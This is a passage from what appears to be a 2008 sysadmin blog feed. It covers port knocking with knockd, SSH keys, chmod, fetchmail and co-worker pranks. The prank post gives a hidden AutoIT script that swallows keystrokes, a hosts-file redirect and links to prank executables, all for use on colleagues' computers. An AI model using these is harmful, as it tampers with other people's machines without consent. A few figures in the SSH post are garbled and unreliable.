&lt;p&gt;When it is rebooting you should now see something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ipfw2 initialized, divert disabled, rule-based forwarding disabled, open, logging disabled&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Type this in as root to add a firewall rule on the fly:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ipfw -q add 00102 deny tcp from any to any 22&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will block all incoming traffic to port 22.&lt;/p&gt;

&lt;p&gt;You can now test to make sure.  Try to open up an SSH connection from another machine.  If you get a network error or connection refused the firewall is working.&lt;/p&gt;

&lt;p&gt;Now you need to make sure you can open that port by knocking.  Make sure knockd is started by typing as root:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;knockd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now according to our /usr/local/etc/knockd.conf it will run the following command when we do a successful port knock:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/sbin/ipfw -q add 00101 pass proto tcp src-ip %IP% dst-port 22&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Notice how the number is 00101.  This comes before our previous rule we put in that had the number, 00102.  You see, ipfw checks rule number one if it passes it goes to the next rule and so on until it reaches the end of the config file.&lt;/p&gt;

&lt;p&gt;You can look at your current firewall rules by typing:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# ipfw list&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Setting it up on Linux&lt;/h3&gt;

&lt;p&gt;Since installation of knock will determined by your distribution&amp;rsquo;s package management software and configuring knockd is pretty much the same in Linux I won&amp;rsquo;t go into detail.  For Debian based systems it should be something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install knockd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The configuration file for knockd will most likely be in /etc/&lt;/p&gt;

&lt;p&gt;The other difference between Linux and FreeBSD is that linux by default usually uses iptables as their firewall instead of ipfw.  So you will need to modify your knock config file to have iptables commands instead of ipfw commands.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[options]
      logfile = /var/log/knockd.log

[SSH]
      sequence    = 7000,8000,9000
      seq_timeout = 5
      command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
      tcpflags    = syn
      cmd_timeout   = 10
      stop_command  = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Doing the Knocking from Windows&lt;/h3&gt;

&lt;p&gt;To do the knocking for Windows I usually use &lt;a href=&#34;http://sourceforge.net/projects/knockknock/&#34;&gt;KnockKnock&lt;/a&gt;.  Run KnockKnock.exe you should get something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/knockknock.gif&#34; alt=&#34;KnockKnock&#34; /&gt;&lt;/p&gt;

&lt;p&gt;You should now be able to connect with PuTTY.&lt;/p&gt;

&lt;p&gt;If do a ipfw list you should see something similar to this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;00100 allow ip from any to any via lo0
00101 allow ip from any to any proto tcp src-ip 192.168.1.103 dst-port 22
00102 deny tcp from any to any dst-port 22
00200 deny ip from any to 127.0.0.0/8
00300 deny ip from 127.0.0.0/8 to any
65000 allow ip from any to any
65535 deny ip from any to any
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Notice how it only opened port 22 to my ip only, not to the entire world.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>8 Computer Pranks to Use on Your Co-Workers</title>
		<link href="https://www.marksanborn.net/miscellaneous/8-computer-pranks-to-use-on-your-co-workers/index.html" />
		<updated>2008-04-01T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/8-computer-pranks-to-use-on-your-co-workers/index.html</id>
		<content type="html">&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The classic prank.  Take a screen shot of their desktop and set their wallpaper to that screenshot.  Then hide all the icons by doing a &lt;strong&gt;right click&lt;/strong&gt; &amp;gt; &lt;strong&gt;Arrange Icons By&lt;/strong&gt;: &amp;gt; &lt;strong&gt;Show Desktop Icons&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Modify C:\WINDOWS\system32\drivers\etc\hosts to redirect their favorite website to &lt;a href=&#34;http://youtube.com/watch?v=eBGIQ7ZuuiU&#34;&gt;http://youtube.com/watch?v=eBGIQ7ZuuiU&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Change their keyboard layout to dvorak.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Open control panel&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Open the &amp;lsquo;&lt;strong&gt;Regional and Language Options&lt;/strong&gt;&amp;rsquo; applet&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Select &amp;lsquo;&lt;strong&gt;Languages&lt;/strong&gt;&amp;rsquo; tab, click &amp;lsquo;Details&amp;rsquo; button&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Click &amp;lsquo;&lt;strong&gt;Add&lt;/strong&gt;&amp;rsquo; check the &amp;lsquo;&lt;strong&gt;Keyboard Layout/IME&lt;/strong&gt;&amp;rsquo; box&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Make sure &amp;lsquo;&lt;strong&gt;United States-Dvorak&lt;/strong&gt;&amp;rsquo; is selected and click &amp;lsquo;ok&amp;rsquo;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Under the &amp;lsquo;Default Input Language&amp;rsquo; section at the top of the &amp;lsquo;&lt;strong&gt;Text Services and Input Languages&lt;/strong&gt;&amp;rsquo; window, select the Dvorak option&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Hit &amp;lsquo;&lt;strong&gt;ok&lt;/strong&gt;&amp;lsquo;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Hold the left &amp;lsquo;&lt;strong&gt;Alt&lt;/strong&gt;&amp;rsquo; key and hit &amp;lsquo;&lt;strong&gt;Shift&lt;/strong&gt;&amp;rsquo; to switch back and forth between the Dvorak layout and normal keyboard layout&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Even those with some computer experience will have a hard time figuring this one out.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create an AutoIT script that will eat away one space bar key stroke every 4 presses.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;Opt(&amp;quot;TrayIconHide&amp;quot;, 1) 
HotKeySet(&amp;quot;{SPACE}&amp;quot;, &amp;quot;EatPress&amp;quot;)
While 1
Sleep(100)
WEnd
Func EatPress()
$i = Round(Random(3))
If $i &amp;lt; 3 Then
HotKeySet(&amp;quot;{SPACE}&amp;quot;)
Send(&amp;quot;{SPACE}&amp;quot;)
HotKeySet(&amp;quot;{SPACE}&amp;quot;, &amp;quot;EatPress&amp;quot;)
EndIf
EndFunc&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If you have a linux computer on your network that can print, you can have it print random sayings at 10 minute intervals.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;#!/bin/bash
COUNTER=0
while [ $COUNTER -lt 10 ]; do
sleep 10m
fortune | lpr
let COUNTER=COUNTER+1
done&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/finger.gif&#34; alt=&#34;Middle Finger&#34; /&gt;  Change the users cursor with a middle finger icon every 5 seconds with &lt;a href=&#34;http://www.rjlsoftware.com/download/finger.zip&#34;&gt;this nifty software&lt;/a&gt;.  To close it just move your cursor to the top left corner for a few seconds.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Have them see random messages from good &lt;a href=&#34;http://www.rjlsoftware.com/download/clippy.zip&#34;&gt;ol&amp;rsquo; Mr. Paper Clip&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/clippy.gif&#34; alt=&#34;clippy&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Give someone a heart attack by setting their LCD montitor background to &lt;a href=&#34;http://kensingtonvictoria.com/blog/wp-content/uploads/2008/03/crack-desk.jpg&#34;&gt;this&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
</content>
	</entry>
	
	<entry>
		<title>Using PHP to Determine Which Adsense Ad Works Best</title>
		<link href="https://www.marksanborn.net/php/using-php-to-determine-which-adsense-ad-works-best/index.html" />
		<updated>2008-03-31T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/using-php-to-determine-which-adsense-ad-works-best/index.html</id>
		<content type="html">&lt;p&gt;I recently read an article that discussed the effectiveness of different adsense ad sizes.  The three medium box shaped ads that adsense offers is:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;250x250
300x250
336x280&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The article mentioned that even though the 336x280 was the largest it wasn&amp;rsquo;t neccesarily the best performing advertisement since most online advertisers develop their image ads to fit in a 300x250 slot.  The author had even said he spoke to one advertising agency representative who says that they’ve never made a 336×280 ad for any of their mainstream advertisers.&lt;/p&gt;

&lt;p&gt;The reason this is important is that the more advertisers fighting for a specific ad block size the higher the price of the ad, thus more money for your website.&lt;/p&gt;

&lt;p&gt;But how do we test it?  How do we know for sure that one ad block out performs the others?&lt;/p&gt;

&lt;p&gt;I have set up a php script to randomly display ad block A and ad block B.  This is also known as split testing or &lt;a href=&#34;http://en.wikipedia.org/wiki/Multivariate_testing&#34;&gt;multivariate testing&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;The Code&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php $splitIt = rand()&amp;amp;1; ?&amp;gt;
&amp;lt;?php if ($splitIt == 0) { ?&amp;gt;
     // Adsense code for ad block A
&amp;lt;?php } ?&amp;gt;

&amp;lt;?php if ($splitIt == 1) { ?&amp;gt;
     // Adsense code for ad block B
&amp;lt;?php } ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Make sure when you setup your adsense code that you make two seperate channels so can monitor the results of the two advertisements.  For more information about adsense channels check out, &lt;a href=&#34;http://adsense.blogspot.com/2006/10/introducing-multiple-custom-channels.html&#34;&gt;Introducing multiple custom channels&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Implement split testing into your site and let us know which advertisements are working best for you.  I am currently testing between the 250x250 and 300x250 advertisements blocks.  I plan to split test these until April 30th then I will post the results of my test.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>SSH - Using Keys Instead of Passwords</title>
		<link href="https://www.marksanborn.net/security/ssh-using-keys-instead-of-passwords/index.html" />
		<updated>2008-03-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/ssh-using-keys-instead-of-passwords/index.html</id>
		<content type="html">&lt;p&gt;SSH is really not that secure by default on must Linux distributions in the default configuration.  By default OpenSSH is configured to allow password based authentication (because its easier); however, script kiddies have developed scripts that can try thousands of passwords an hour.  If you have a strong secure password this will usually not be an issue but if you or one of your users use a dictionary based or weak password your system can be compromised quite easily.  Most of the time you have no control over the strength of your users passwords so I recommend giving them a password that is 1024 bits, also known as a private key.  Since this key is stored in a text file on the users machine it is often times a good alternative way of authenticating for users that don&amp;rsquo;t want to remember passwords but still be very secure.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/03/opensshpufferfish.png&#34; alt=&#34;OpenSSH Puffer&#34; /&gt;Since the 1024 bit private key must match the public key we have 21024 or 1.797693134 x10308 keys.  That is a 1 with 308 zeros behind it.  If you were to process 1 billion passwords per second you would still not be able to crack this password within a few million years.  Although this method is impervious to brute force attacks it is worthless if you leave your private key out for everyone to see, so after you get this setup guard it!  It is worth mentioning that you can set a pass phrase on your private key.  This way if your private key does fall into the wrong hands it will be worthless.&lt;/p&gt;

&lt;h3&gt;Setting up SSH to Use DSA Keys&lt;/h3&gt;

&lt;p&gt;On the machine running sshd:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ ssh-keygen -t dsa&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;it should give you something like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Generating public/private dsa key pair.
Enter file in which to save the key (/home/mark/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/mark/.ssh/id_dsa.
Your public key has been saved in /home/mark/.ssh/id_dsa.pub.
The key fingerprint is:
bb:f6:0e:6d:b5:c5:5f:c3:a1:d6:73:5f:25:f9:4d:09 mark@beasd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Notice how it saved the private key as id_dsa and the public key as id_dsa.pub in the ~/.ssh directory.&lt;/p&gt;

&lt;p&gt;Since most sshd configurations are set to look for public keys in ~/.ssh/authorized_keys we shall add our new public key to that file:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ cat ~/.ssh/id_dsa.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After adding the newly generated public key to authorized_keys you should be able to authenticate with keys.  Try it now on the localhost like so.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ ssh localhost -i .ssh/id_dsa&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &amp;lsquo;&lt;strong&gt;-i&lt;/strong&gt;&amp;rsquo; flag tells ssh to identify with a key.&lt;/p&gt;

&lt;p&gt;If your login was successful it should be safe to turn of keyboard/password authentication.  Edit /etc/ssh/sshd_config&lt;/p&gt;

&lt;p&gt;Make sure you have these set to yes to enable the use of keys:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RSAAuthentication yes
PubkeyAuthentication yes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After you have your key working you should turn of regular password authentication:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PasswordAuthentication no
ChallengeResponseAuthentication no&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Might as well turn off root login for security purposes&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PermitRootLogin no&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Connecting From a Windows Computer Using PuTTY&lt;/h3&gt;

&lt;p&gt;The most common ssh client for Windows is &lt;a href=&#34;http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe&#34;&gt;PuTTY&lt;/a&gt; so I will explain how to connect to your newly configured ssh server with PuTTY.  You will also need &lt;a href=&#34;http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe&#34;&gt;puttygen&lt;/a&gt; to convert the key to a key that putty can use (*.ppk files).&lt;/p&gt;

&lt;p&gt;First start off by copying the id_dsa.pub from your ssh server to your machine with whatever method you want.  I used FTP.  Then open PuTTYgen.exe.  If you set up a pass phrase you will be prompted to type it in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/03/puttygenpassphrase.gif&#34; alt=&#34;PuTTYgenPassPhrase.gif&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Click &lt;strong&gt;load&lt;/strong&gt; to load a previous private key.  Then save it as a .ppk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/03/puttygen2.gif&#34; alt=&#34;PuTTYgen2.gif&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Then open PuTTY and enter the IP address of the SSH server and click on &lt;strong&gt;ssh&lt;/strong&gt; &amp;gt; &lt;strong&gt;auth&lt;/strong&gt; in the tree to the left:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/03/putty2.gif&#34; alt=&#34;PuTTY-setup-auth-key.gif&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Click &lt;strong&gt;browse&lt;/strong&gt; and find the .ppk file you just saved.  Then hit &lt;strong&gt;open&lt;/strong&gt;.  If all goes well you should be greeted with something similar to this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/03/putty-key-connect.gif&#34; alt=&#34;PuTTY-Key-Connect.gif&#34; /&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Blog Improvements, Any Ideas?</title>
		<link href="https://www.marksanborn.net/miscellaneous/blog-improvements-any-ideas/index.html" />
		<updated>2008-03-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/miscellaneous/blog-improvements-any-ideas/index.html</id>
		<content type="html">&lt;p&gt;Well, over the past few days I have implemented new features and made many modifications to this blog.  Below are the following changes and impovements that I thought may interest you.  I also want to hear your thoughts on the current changes and future improvements to the blog.&lt;/p&gt;

&lt;h3&gt;Enhancements&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WordPress Update.&lt;/strong&gt; Upgraded blog to newest version of WordPress.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Site Search.&lt;/strong&gt; Changed the site search feature back to WordPress.  I had originally used Google site search and I had found that it hadn&amp;rsquo;t added much value while taking vistitors into a third party unfamiliar site.  One alternative I had tried was Google&amp;rsquo;s CSE (Custom Search Engine).  This allows you to have the search results embedded into your site; however, due to the layout of the site the results were bunched together and it displayed too much white space near the bottom.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Comments.&lt;/strong&gt;  Added code to make author comments stand out from regular comments.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Random Page.&lt;/strong&gt; Using a nifty little plugin there are now links at the bottom of each post that will take you to a random article.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Code in Posts.&lt;/strong&gt;  I added a much better system for displaying code in posts.  It includes line numbers and color syntax.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Text Color.&lt;/strong&gt;  The text color throughout the entire site is now a slightly darker shade of grey for readability.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;New&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Donate.&lt;/strong&gt;  By request I added a page for people that would like to contribute to this site by donating.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Advertising.&lt;/strong&gt;  After many months the advertising on the sidebar has only recieved a handful of clicks so I changed it from a text ad to an image ad.  If this advertisement continues to provide minimal results I will consider removing it entirely.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;To Do&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Trackback Toggleing.&lt;/strong&gt;  After reading &lt;a href=&#34;http://davidwalsh.name/set-wordpress-blog-trackback-toggling&#34;&gt;this article&lt;/a&gt;, I decied I am going to implent a link to hide/show trackbacks in comments to minimize on the space they take up and the distraction they make on the discussion that takes place.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;404.&lt;/strong&gt;  I am going to create a more informational 404 page.  So my readers may find lost posts that they were looking or mis typed/linked urls.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;New Comment Notification.&lt;/strong&gt;  I am considering implementing a way for readers to be notified when there are new comments in a post they themselves have commented on.  This my be via email or RSS feed.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Suggestions?&lt;/h3&gt;

&lt;p&gt;Since this site is for you, the readers.   I want to know what you think.  Please write in with suggestions for things you love, things you want removed or anything else you can think of.  I value your comments and suggestions and would love to hear them.  So, please let me know what else I can do to make the site better for you.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Changing Permissions with chmod Binary Values</title>
		<link href="https://www.marksanborn.net/linux/changing-permissions-with-chmod-binary-values/index.html" />
		<updated>2008-03-20T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/changing-permissions-with-chmod-binary-values/index.html</id>
		<content type="html">&lt;p&gt;Recently I accidently changed the permissions of one of my files and I didn&amp;rsquo;t know what the correct permissions were suppose to be.  I did know that the other files in the same directory were the correct permission.  Using the ls -l command.  I was able to see that the permission was set as, -rw-r&amp;ndash;r&amp;ndash;.  Great, I now know the correct permission; however, I usually use the binary syntax for chmod and I am not familiar with the other method.&lt;/p&gt;

&lt;p&gt;What I ended up doing was a little weird and geeky but in the end it was fun and I got my permissions fixed.  I actually converted the character method to binary by hand and then ended up changing the permission with my usual method.&lt;/p&gt;

&lt;h3&gt;Converting -rw-r&amp;ndash;r&amp;ndash; Format to Binary&lt;/h3&gt;

&lt;p&gt;The easiest way I found was to convert each character to a &amp;lsquo;1&amp;rsquo; and each dash to a &amp;lsquo;0&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;-rw-r--r--&lt;/code&gt; would equal to: &lt;code&gt;0110100100&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I then would then drop the first number and group it into threes.  Here is the binary conversion to our 10 based system.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;110 100 100 = 644
 6   4   4

... 128 64 32 16 8 4 2 1
                   1 1 0
           4 + 2 + 0 = 6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So to match the permissions of the other files in the directory I can do this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ chmod 644 test.txt&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Quick Lesson on Binary&lt;/h3&gt;

&lt;p&gt;If you don&amp;rsquo;t know binary its actually quite easy.  It goes from right to left like this:&lt;/p&gt;

&lt;p&gt;&amp;hellip; 128 64 32 16 8 4 2 1&lt;/p&gt;

&lt;p&gt;Think of the 1s and 0s as switches.  On and off.  Let&amp;rsquo;s convert binary &amp;lsquo;111&amp;rsquo;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;... 128 64 32 16 8 4 2 1
                   1 1 1
           4 + 2 + 1 = 7
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;All you do now is add up the numbers 4 + 2 + 1 = 7.&lt;/p&gt;

&lt;p&gt;Let&amp;rsquo;s convert &amp;lsquo;100&amp;rsquo;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;... 128 64 32 16 8 4 2 1
                   1 0 0
           4 + 0 + 0 = 4
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let&amp;rsquo;s choose an arbitrary number &lt;em&gt;17&lt;/em&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;... 128 64 32 16 8 4 2 1
               1 0 0 0 1
 16 + 0 + 0 + 0 + 1 = 17
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;octal (base-8) permission codes&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;0&lt;/strong&gt; (binary 000) – No permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; (binary 001) – Execute permission.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; (binary 010) – Write permission.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; (binary 011) – Write and execute permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; (binary 100) – Read permission.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5&lt;/strong&gt; (binary 101) – Read and execute permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6&lt;/strong&gt; (binary 110) – Read and write permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;7&lt;/strong&gt; (binary 111) – Read, write, and execute permissions (full permissions).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Common chmod values&lt;/h3&gt;

&lt;p&gt;These number can be applied to owner, group, and others:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;777&lt;/strong&gt; - readwrite by all, owners, group, and others&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;755&lt;/strong&gt; - Read by Owner + Write by Owner + Execute by Owner + Read by Group + Execute by Group + Read by anyone (common for files in user&amp;rsquo;s home directory)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;644&lt;/strong&gt; - Everyone read, only owner can write.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here are some &lt;a href=&#34;/linux/getting-familiar-with-the-linux-command-line/&#34;&gt;more Linux commands&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Using fetchmail to Backup Gmail with FreeBSD</title>
		<link href="https://www.marksanborn.net/freebsd/using-fetchmail-to-backup-gmail-with-freebsd/index.html" />
		<updated>2008-03-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/using-fetchmail-to-backup-gmail-with-freebsd/index.html</id>
		<content type="html">&lt;p&gt;Getting fetchmail to work in Linux or FreeBSD has always been difficult for me.  The SSL certificates always seem to be a pain to configure.  It has been particularly difficult to get fetchmail with Gmail working on FreeBSD since there are no complete guides written for FreeBSD.&lt;/p&gt;

&lt;p&gt;I found a guide for FreeBSD that was written in shorthand and had pieces left out.  The guide also had a comment in it claming that the article was copied.  The &lt;a href=&#34;http://download.gna.org/hpr/fetchmail/FAQ/gmail-pop-howto.html&#34;&gt;orginal guide&lt;/a&gt; was great but it was not particularly for FreeBSD so I still ran into some troubles.  I would like to give credit to the original author however because without his guide I would not have been able to get this working.  So thank you Charles Levert.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://gmail.google.com/support/bin/answer.py?answer=13273&#34;&gt;Enable POP in your Gmail account&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Install fetchmail&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /usr/ports/mail/fetchmail/
make install clean
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Install ca-roots&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /usr/ports/security/ca-roots
make install clean
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;cd /usr/src/crypto/openssl/certs
wget -O Equifax_Secure_Certificate_Authority.pem https://www.geotrust.com/resources/root_certificates/certificates/Equifax_Secure_Certificate_Authority.cer
openssl x509 -in Equifax_Secure_Certificate_Authority.pem -fingerprint -subject -issuer -serial -hash -noout
/usr/src/crypto/openssl/tools/c_rehash .
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;For some reason I was getting a permission denied error when running this.  If you get this you need to make c_rehash an executable.  To do this use this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# chmod 755 /usr/src/crypto/openssl/tools/c_rehash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And finally:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# file 594f1775.*&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add this to ~/.fetchmailrc.
Replace the username@gmail.com with your email addres.
Replace the password with password
Replace &amp;lsquo;user&amp;rsquo; with your local FreeBSD username&lt;/p&gt;

&lt;p&gt;&lt;code&gt;poll pop.gmail.com with proto POP3
    user &#39;username@gmail.com&#39; there with password &#39;xxxxxxxx&#39; is user here
        options keep ssl sslfingerprint &#39;59:51:61:89:CD:DD:B2:35:94:BB:44:97:A0:39:D5:B4&#39;
            sslcertck sslcertpath /usr/share/ssl/certs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Run this command to give it a whirl.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ fetchmail -d0 -v pop.gmail.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you get an error saying that there was a fingerprint key mismatch. Copy and paste the key in the error message into your ~/.fetchmailrc file replacing the key that is in there.&lt;/p&gt;

&lt;p&gt;To protect this file from other users reading your Gmail password change the permissions.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ chmod 600 ~/.fetchmailrc&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Gmail only wants to be bothered once every 5 mintues (300 seconds).  So use this command to start fetchmail in deamon mode with a poll of 300 seconds.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ fetchmail -d 300&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you have your pop settings for Gmail set for all messages this will download them all to your local computer.  If you have it set for new messages, only new messages will be downloaded.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Adding a Console Screensaver to FreeBSD 7.0</title>
		<link href="https://www.marksanborn.net/freebsd/adding-a-console-screensaver-to-freebsd-70/index.html" />
		<updated>2008-03-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/adding-a-console-screensaver-to-freebsd-70/index.html</id>
		<content type="html">&lt;p&gt;By default FreeBSD does not come with a screen saver for console.  It also does not come configured with a power saving mode.  If you don&amp;rsquo;t use the console for some time I prefer to save energy and have my monitor turn off when it is not in use.  Here is how you can install a screen saver for your FreeBSD 7.0 system.&lt;/p&gt;

&lt;p&gt;Open /etc/rc.conf with your text editor:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;vim /etc/rc.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;add these lines of code:&lt;/p&gt;

&lt;p&gt;saver=&amp;ldquo;green&amp;rdquo;
blanktime=&amp;ldquo;300&amp;rdquo;
scrnmap=&amp;ldquo;NO&amp;rdquo;&lt;/p&gt;

&lt;p&gt;This will tell the console to turn the monitor to standby after 300 seconds (5min).&lt;/p&gt;

